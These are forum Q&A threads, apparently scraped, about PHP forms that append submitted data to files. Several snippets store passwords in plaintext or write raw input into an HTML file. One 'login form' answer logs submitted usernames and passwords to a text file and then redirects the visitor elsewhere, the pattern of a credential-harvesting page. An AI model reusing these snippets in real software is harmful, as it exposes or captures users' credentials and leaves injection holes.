Can someone look over this code and tell me why I'm receiving "Undefined variable" messages from my debugger on lines 22-26? This code works fine on another server that runs php 5.2. My apache server, however, runs php5.5 and the same code won't write to the specified file. When I put a string value in for the parameters on lines 22-26, instead of referencing the empty form values, it works, so the problem is getting the input form values into the variables. I either get "undefined variable" or "undefined index". Here's my code:
<html>
<form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
Name: <input type="text" name="name"><br><br>
E-mail: <input type="text" name="email"><br><br>
Username(for ftp access): <input type="text" name="username"><br><br>
Password(for ftp access): <input type="password" name="password"><br><br>
Leave Your Feedback (Comments, Inquiries, Suggestions): <br>
<textarea rows="10" cols="50" name="text"></textarea>
<br><input type="submit" name="submit" value="Submit">
<?php
$file = fopen("data.html", "ab");
if(isset($_POST['name'])){ $name = $_POST['name']; }
if(isset($_POST['email'])){ $email = $_POST['email']; }
if(isset($_POST['username'])){ $username = $_POST['username']; }
if(isset($_POST['password'])){ $password = $_POST['password']; }
if(isset($_POST['text'])){ $text = $_POST['text']; }
echo fwrite($file, $name);
echo fwrite($file, $email);
echo fwrite($file, $username);
echo fwrite($file, $password);
echo fwrite($file, $text);
fclose($file);
?>
</form>
</html>
Everybody, thanks for your suggestions. Some of your solutions have solved the problem of getting rid of the annoying notices and warnings about undefined variables. However, the script still doesn't write to the file. When I used var_dump($_POST) it returns a full array of variables values that have been submitted with the form. However, the output from the script (number of bytes written to the file 00000) only shows up in the html when run from the console, debugger, or command line, but not when opened in a browser. I know the script is working properly when I can see it read so many bytes from the input form fields to the file in my browser, which isn't happening, so the script isn't working. It should work, I'm using xdebug and getting no errors.
Here's the output of the debugger:
<html>
<form method="post">
Name: <input type="text" name="name"></input><br><br>
E-mail: <input type="text" name="email"></input><br><br>
Username(for ftp access): <input type="text" name="username"></input><br><br>
Password(for ftp access): <input type="password" name="password"></input><br><br>
Leave Your Feedback (Comments, Inquiries, Suggestions): <br>
<textarea rows="10" cols="50" name="textx"></textarea>
<br><input type="submit" name="submit" value="Submit"></form>
//output of var_dump($_POST)
array(0) {
}
//output of fwrite()
00000</html>
The problem I'm having: the form is submitted with the values, but the variables I'm assigning in the script are not pointing to those values when the file is written. Btw, this script works fine on the php5.2 server and I can see the number of bytes written when I submit the form. Actually I've been using this script for quite a while on a number of different servers and it never gave me this problem until now. I usually hide the display of the script in the final html, but at least that way I know it's functioning properly.
The server where it works uses register_globals. Using it is bad practice (see the warning?)
Disable it, and fix the code. It works now because $_POST['name'] is accessible as $name.
$file = fopen("data.html", "ab");
$details = array('name', 'email', 'username', 'password', 'text');
foreach ($details as $var) {
if (!empty($_POST[$var])) {
fwrite($file, $_POST[$var]);
}
}
fclose($file);
On the 5.2 server, you might have warnings disabled.
You are only assigning values, if $_POST contains those keys, this is the problem.
The easiest way of checking and writing to file is using a foreach, like the code I pasted above.
If someone doesn't insert nothing into one of the post fields (like email) your related variable will never exists
Change your code as follows
$name = isset($_POST['name']) ? $_POST['name'] : '';
$email = isset($_POST['email']) ? $_POST['email'] : '';
$username = isset($_POST['username']) ? $_POST['username'] : '';
$email = isset($_POST['password']) ? $_POST['password'] : '';
$text = isset($_POST['text']) ? $_POST['text'] : '';
This is a ternary operator: if the leftmost of the right operators is evaluated to True, it will assign to left operator the value after ?, otherwise the value after :
N.B.:
This is only one of the possible methods to avoid that kind of warning/error
you are not defining $name $email $username $password if appropriate post variables are not set, which consequently gives you undefined variable error
you might surpress that error with this:
if(isset($_POST['name'])){ $name = $_POST['name']; echo fwrite($file, $name);}
if(isset($_POST['email'])){ $email = $_POST['email']; echo fwrite($file, $email);}
if(isset($_POST['username'])){ $username = $_POST['username']; echo fwrite($file, $username);}
if(isset($_POST['password'])){ $password = $_POST['password'];
echo fwrite($file, $password);}
if(isset($_POST['text'])){ $text = $_POST['text']; echo fwrite($file, $text);}
if there is no $_POST['name'] there is no $name and you'll get the error.
you could use var_dump($_POST) to see if values are delivered correctly, also you could use
else { $name = ''; }
try this
<?php
$name = "";
$email= "";
$username= "";
$password= "";
$text = "";
$file = fopen("data.html", "ab");
if(isset($_POST['name'])){ $name = $_POST['name']; }
if(isset($_POST['email'])){ $email = $_POST['email']; }
if(isset($_POST['username'])){ $username = $_POST['username']; }
if(isset($_POST['password'])){ $password = $_POST['password']; }
if(isset($_POST['text'])){ $text = $_POST['text']; }
echo fwrite($file, $name);
echo fwrite($file, $email);
echo fwrite($file, $username);
echo fwrite($file, $password);
echo fwrite($file, $text);
fclose($file);
?>
Okay, thanks for the help everyone. I got rid of the annoying notices and warnings, and I solved my other problem while I was at it. The main problem was that I was running this server on Fedora for the first time and I hadn't set selinux settings to "permissive". I reconfigured my firewall after the change, and now I can see the script and it writes to the file.
Related
Hi i am trying to make a comment box for a webiste using only php (without database) almost succeed. But, the comments are repeatedly posting again and again for every page reload. How to fix it ?
My codes in comment.php
<form action="comment.php" method="post">
<label for="name">Name:</label><br/>
<input type="text" name="yourname"><br>
<label for="name">Comment:</label> <br/>
<textarea name="comment" id="comment" cols="30" rows="10"></textarea><br/>
<input type="submit" value="submit">
</form>
<?php
$yourname = $_POST['yourname'];
$comment = $_POST['comment'];
$data = $yourname . "<br>" . $comment . "<br><br>";
$myfile = fopen("comment.txt", "a");
fwrite($myfile, $data);
fclose($myfile);
$myfile = fopen("comment.txt", "r");
echo fread($myfile,filesize("comment.txt"));
?>
Expected Output,
When user enter name and comment and submit, it have to Post a comment. (While reload it should not repeat the last posted comment again)
The output am getting,
When user enter name and comment and submit, it post the comment. But, When reload/refresh that page it post the last comment again. If once again reloaded, again posting the last comment. it repeats for everytime the page reloads.
Kindly help me fix my code. It will be much helpful. Thank You.
You can use PRG Pattern to avoid multiple submissions.
First of all, check if the request method is POST. If so, save the comment and then redirect back (or any other page you want):
<?php
$myfile = fopen('comment.txt', 'a');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$yourname = $_POST['yourname'];
$comment = $_POST['comment'];
$data = $yourname . "<br>" . $comment . "<br><br>";
fwrite($myfile, $data);
fclose($myfile);
header('Location: comment.php');
die();
}
$myfile = fopen('comment.txt', 'r');
echo fread($myfile, filesize('comment.txt'));
?>
First time learning PHP. Good for you. Though maybe spend the time better and learn Python. Anyway you have 2 things happening here.
One is that everytime the user hits the page, the php block executes regardless of if any information has been sent. You want to wrap your php code in an if statement such as:
if( count($_POST) )
{
$yourname = $_POST['yourname'];
$comment = $_POST['comment'];
$data = $yourname . "<br>" . $comment . "<br><br>";
$myfile = fopen("comment.txt", "a");
fwrite($myfile, $data);
fclose($myfile);
$myfile = fopen("comment.txt", "r");
echo fread($myfile,filesize("comment.txt"));
}
Your second problem is that, once you have POSTed something, then every time you reload the page (via F5) not as in reloading from a fresh session, you need to clear the POST array. There's a lot of ways to do this, I think best for you is to stick this after that echo:
foreach( $_POST as $key=>$val )
{
unset( $_POST[$key] );
}
See this link for more - [Unset post variables after form submission
Good luck!
I need some help with my code as I have got a problem with get pass on the if statement. I am working on the clean url to create a function like create_newsletter.php?template=new when I am on the same page.
When I try this:
if(isset($_POST['submit']))
{
sleep(2)
header("Location: http://example.com/newsletters/create_newsletter.php?template=new");
if(isset($_GET['template'])
{
echo "hello robert now you are working on the template";
}
}
It will not get pass on this line:
if(isset($_GET['template'])
Here is the full code:
<?php
$template = "";
if(isset($_GET['template']))
{
$template = $_GET['template'];
}
if(isset($_POST['submit']))
{
sleep(2)
$messagename = $_POST['messagename'];
$subject = $_POST['subject'];
header("Location: http://example.com/newsletters/create_newsletter.php?template=new");
if(isset($_GET['template'])
{
echo "hello robert now you are working on the template";
}
}
?>
<form method="post">
<input type="text" name="messagename" value="">
<input type="text" name="subject" value="">
<input type="submit" name="submit" name="submit" class="btn btn-primary" value="Next Step">
</form>
I have got no idea how I can get pass on the if statement when I am using header("Location:). I have also tried if ($template) but it doesn't get pass.
What I am trying to do is to connect to my php page create_newsletter.php. I want to input my full name the textbox called messagename and input the subject in the subject textbox then click on a button. When I click on a button, I want to redirect to create_newsletter.php?template=new as I want to disable on two textbox controls messagename and subjectthen add the iframe to allow me to get access to another php page so I could write the newsletter in the middle of the screen.
Can you please show me an example what is the best way forward that I could use to get pass on the if statement when I click on a submit button to redirect me to create_newsletter.php?template=new so I could disable these controls and add the iframe?
Thank you.
You are checking if(isset($_GET['template']) inside the if(isset($_POST['submit'])) condition, but the redirect doesn't send a post request.
This should work:
if(isset($_POST['submit']))
{
sleep(2)
$messagename = $_POST['messagename'];
$subject = $_POST['subject'];
header("Location: http://example.com/newsletters/create_newsletter.php?template=new");
}
if(isset($_GET['template'])
{
echo "hello robert now you are working on the template";
}
But if you need to make a POST request in the redirect, you would need to print a <form> and submit it in the client side, or use $_SESSION in the example bellow:
session_start();
if(isset($_POST['submit']))
{
sleep(2)
$_SESSION['messagename'] = $_POST['messagename'];
$_SESSION['subject'] = $_POST['subject'];
header("Location: http://example.com/newsletters/create_newsletter.php?template=new");
}
if(isset($_GET['template'])
{
// $_SESSION['messagename'] and $_SESSION['subject'] are available here
echo "hello robert now you are working on the template";
}
When you are checking if(isset($_POST['submit'])), you are redirecting before you can reach the if(isset($_GET['template']).
But I am assuming you would expect this to run because $_GET['template'] will be set. Although, the problem with your code is that when you redirect, $_POST['submit'] will not be set, therefor it will not execute anything in the if(isset($_POST['submit'])) block, including if(isset($_GET['template']).This is because a POST request is not persistant, and will not remain if you reload, or redirect
You should consider the following:
if(isset($_POST['submit']))
{
sleep(2)
$messagename = $_POST['messagename'];
$subject = $_POST['subject'];
header("Location: http://example.com/newsletters/create_newsletter.php?template=new");
}
if(isset($_GET['template'])
{
echo "hello robert now you are working on the template";
}
?>
Accessing the $messagename and $subject in the if(isset($_GET['template'])
If you want to access the $messagename and $subject in the if(isset($_GET['template']), you can pass them in the URL. Because when you redirect, no $_POST variables will be set, they will go away. You can accomplish this by doing:
if(isset($_POST['submit']))
{
sleep(2)
$messagename = $_POST['messagename'];
$subject = $_POST['subject'];
header("Location: http://example.com/newsletters/create_newsletter.php?template=new&messagename=".$messagename."&subject=".$subject);
}
if(isset($_GET['template'])
{
$messagename = $_GET['messagename'];
$subject = $_GET['subject'];
echo "hello robert now you are working on the template";
}
?>
There are two errors in the OP's code which unfortunately the officially accepted answer reflects as well. A semi-colon needs to be appended to the statement that uses sleep() and an extra parenthesis is needed in the statement that tests for $_GET['template'].
In truth, one does not need to complicate the code with signal processing offered by sleep() in order to delay submission of the POSTed data just to determine the value of $_GET['template']. One could omit sleep() and alter the the code slightly, as follows:
<?php
if( isset($_POST['submit']) )
{
$mess = htmlentities($_POST['mess']);
$subject = htmlentities($_POST['subject']);
header("Location: http://localhost/exp/create_newsletter.php?template=new");
exit;
}
else
if( isset( $_GET['template']))
{
echo "hello robert now you are working on the template";
exit;
}
Also, instead of using $_GET another alternative is to use $_SERVER['QUERY_STRING'], as follows:
<?php
$qs = parse_url($_SERVER['PHP_SELF'], PHP_URL_QUERY);
if( $qs == 'template=new' ){
$template = split("=",$qs)[1];
echo "hello robert now you are working on the template";
exit;
}
else
if(isset($_POST['submit']))
{
sleep(2);
$mess = htmlentities($_POST['mess']);
$subject = htmlentities($_POST['subject']);
header("Location: http://localhost/exp/create_newsletter.php?template=new");
exit;
}
?>
<html>
<head><title>test</title></head>
<body>
<form method="post" action="">
<input type="text" name="mess" value="">
<input type="text" name="subject" value="">
<input type="submit" name="submit" class="btn btn-primary" value="Next Step">
</form>
</body>
</html>
The component parameter of parse_url() enables this function to return the query string. One may also opt instead to employ parse_str(), as follows:
<?php
$queries = "";
parse_str($_SERVER['QUERY_STRING'], $queries);
if( isset($queries['template']) && ($queries['template'] == 'new'))
{
$template = $queries;
echo "hello robert now you are working on the template";
exit;
}
else
if(isset($_POST['submit']))
{
sleep(2);
$mess = htmlentities($_POST['mess']);
$subject = htmlentities($_POST['subject']);
header("Location: http://localhost/exp/create_newsletter.php?template=new");
exit;
}
?>
Note: it is very important to always treat data from a POST or GET as tainted instead of directly assigning the data to a variable and using that variable. Using htmlentities() is one way to attempt to prevent possible security issues.
I'm having some issues with getting the form content sent to email and saved to a session and then displayed on next page.
I have form on contact.shtml which action takes it to mail.php and when content are sent goes to thank_you.shtml.
I need the content shown on the thank_you -page.
All my pages are *.shtml - are this an disadvantage for this?
Codesnippets:
mail.php
$name = $_POST['name'];
$_SESSION['name'] = $name;
$email = $_POST['email'];
$_SESSION['email'] = $email;
$phone = $_POST['phone'];
$_SESSION['phone'] = $phone;
thank_you:
<?php
echo "Navn:" . "$_SESSION['name']";
echo "Email:" . "$_SESSION['email']";
echo "Telefon:" . "$_SESSION['phone']";
?>
I have the obvious on page thank_you and mail.php.
<?php
session_start();
?>
Beside these few lines i have several more with text input and also image files for which i want to show the filename and extensions and also a small preview.
Am i missing something or on the complete wrong track?
You could bypass using a session. While I like separation of concerns the following outline 'all-in-one' solution would satisfy your problem:
<?php
$email = null;
$sent = false;
$error = null;
if($_SERVER['REQUEST_METHOD'] == 'POST') {
$email = isset($_POST['email']) ? $_POST['email'] : null;
if($email && filter_var($email, FILTER_VALIDATE_EMAIL)) {
// supplied email looks good, send email here.
$sent = true;
} else {
$error = 'Please enter a valid email address.';
}
}
?>
html goes here..
<?php if($sent) {
echo 'Thankyou. The email you supplied is: ' . htmlspecialchars($email);
?>
<?php } else { ?>
<?php echo $error ? '<p>' . $error . '</p>' : ''; ?>
<form method="POST">
Email:
<input type="text" name="email" value="<?php echo htmlspecialchars($email) ?>">
<input type="submit">
</form>
<?php } ?>
If a valid email is posted, you can then trigger your mail out.
Do you really need to display the gathered user data?
<?php
echo "Navn:" . htmlentities($_SESSION['name']);
echo "Email:" . htmlentities($_SESSION['email']);
echo "Telefon:" . htmlentities($_SESSION['phone']);
?>
You have to remove the quotes around the variables. Use htmlentities to convert all applicable characters to HTML entities
I want to create a create account page for my simple login site where the user clicks a create account button and they are brought to a page with the following form to enter a login name and a password.
<form action = "createaccount.php" method="get">
<h1> Please enter your information to create a new login account</h1>
<p>
<label>Login Name:</label><input type = "text" name = "name" />
<label>Password:</label><input type = "password" name = "pwd" />
<br/><br/>
</p>
<input type = "submit" id = "submit" value = "submit"/>
<input type = "reset" id = "reset" value = "reset"/>
</form>
After the user enters there data into the input boxes I want to run a php script to store this data into a text file called accounts.php (I know it is not secure but this data has no value to me as i am making it up as part of the learning process).
So far I have the following php code to store the data in the file createaccount.php
<?php
$username = $_GET['name'];
$password = $_GET['pwd'];
$filename = 'accounts.txt';
$fp = fopen($filename, 'a+');
fwrite ($fp, $username . "," . $password . "\n");
$fclose ($fp);
echo ("account created");
header("Location: "login.html");
die();
?>
This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format
username1:password1
username2:password2
etc.
then echo the screen account created and then take the user to my login.html page so they can log in with there new account info.
But I try and run the code and it does not save my data to the file at all and when i submit the form it does not direct me back to the my login screen i just get a message saying page cannot be displayed.
How to create a simple Login form.
html (login.html)
<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>
php (login.php)
<html>
<head>
<title>Login</title>
</head>
<body>
<?php
//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){
$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);
} ?>
//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
</body>
</html>
Hopefully that helps, any other questions add me on skype.
Skype: YouRGenetics
Website: ItzGenetics.com
~NOTE
If your using a hosting company (GoDaddy,ect) that uses permissions make sure you give all permissions to the php file and the txt file.
There are a few things wrong with your code
$fclose remove the $ sign. Otherwise error reporting will throw:
Fatal error: Function name must be a string in...
Then, you have an extra quote in
header("Location: "login.html");
^ right there
which should read as:
header("Location: login.html");
However, you're doing an echo. You can't echo and have a header. You're outputting before header.
Use echo or header.
<?php
$username = $_GET['name'];
$password = $_GET['pwd'];
$filename = 'accounts.txt';
$fp = fopen($filename, 'a+');
fwrite ($fp, $username . "," . $password . "\n");
fclose ($fp);
// echo OR header, not both
// echo ("account created");
header("Location: login.html");
die();
?>
Sidenote: You're storing information with GET. At the very least, use POST. You're transmitting this LIVE over the Web and the information will be shown in your Web browser's address bar. Should it ever go LIVE; be careful.
As you said, it's not secure. Use .htaccess to protect this file.
Example code in .htaccess
<Files data.txt>
order allow,deny
deny from all
</Files>
You should also look into the following for password storage:
CRYPT_BLOWFISH or PHP 5.5's password_hash() function.
For PHP < 5.5 use the password_hash() compatibility pack.
Add error reporting to the top of your file(s) which will help find errors.
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// rest of your code
Sidenote: Error reporting should only be done in staging, and never production.
This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format
username1:password1
username2:password2
etc.
If you want to save it with a colon as a seperator, then change
fwrite ($fp, $username . "," . $password . "\n");
^
to
fwrite ($fp, $username . ":" . $password . "\n");
^
Using text files is a lot of work and demands more resources when working with these, especially when it comes to editing, deleting etc..
The use of a database is by far less maintenance and more secure when using prepared statements.
I think first you have to check the return value of fopen:
$fp = fopen($filename, 'a+');
if (FALSE === $fp) {
echo 'Can not open file...';
}
And the same for fwrite...
I am making a user system on a website and I cannot get the form to post to the file.
Here is the form in the HTML file:
<form method="post" action="php/userlogin.php">
<p><input type="text" name="usernameL" value=""></p>
<p><input type="password" name="passwordL" value=""></p>
<p><input type="submit" name="submit" value="Login"></p>
</form>
And the userlogin.php in the php directory:
<?php
$username = $password = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = test_input($_POST["usernameL"]);
$password = test_input($_POST["passwordL"]);
}
function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}
?>
I'm new to forms and can't find an answer anywhere or even a question like this. How would I fix this?
You code is working fine.
The problem might be with the file structure. Please check that.
Ex: If your html file in the root folder of your project, Then the userlogin.php files should be there in project_root_folder/test/
So the file structure should be...
Root/
index.html
Test/
userlogin.php
Code is fine.
Just output the values of the variables.
echo $username.' '.$password;
You can see that the data is being posted.
Well your code seems to work perfectly fine, maybe the problem is with your testing enviroment, you need solution like XAMPP https://www.apachefriends.org/ to run php scripts on your computer. Other way is to run scripts remotely on some free webhosting that supports php.
If this is not the case then to check if actually data was sent, modify your code this way:
...
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = test_input($_POST["usernameL"]);
$password = test_input($_POST["passwordL"]);
echo $username."<br/>";
echo $password."<br/>";
}
...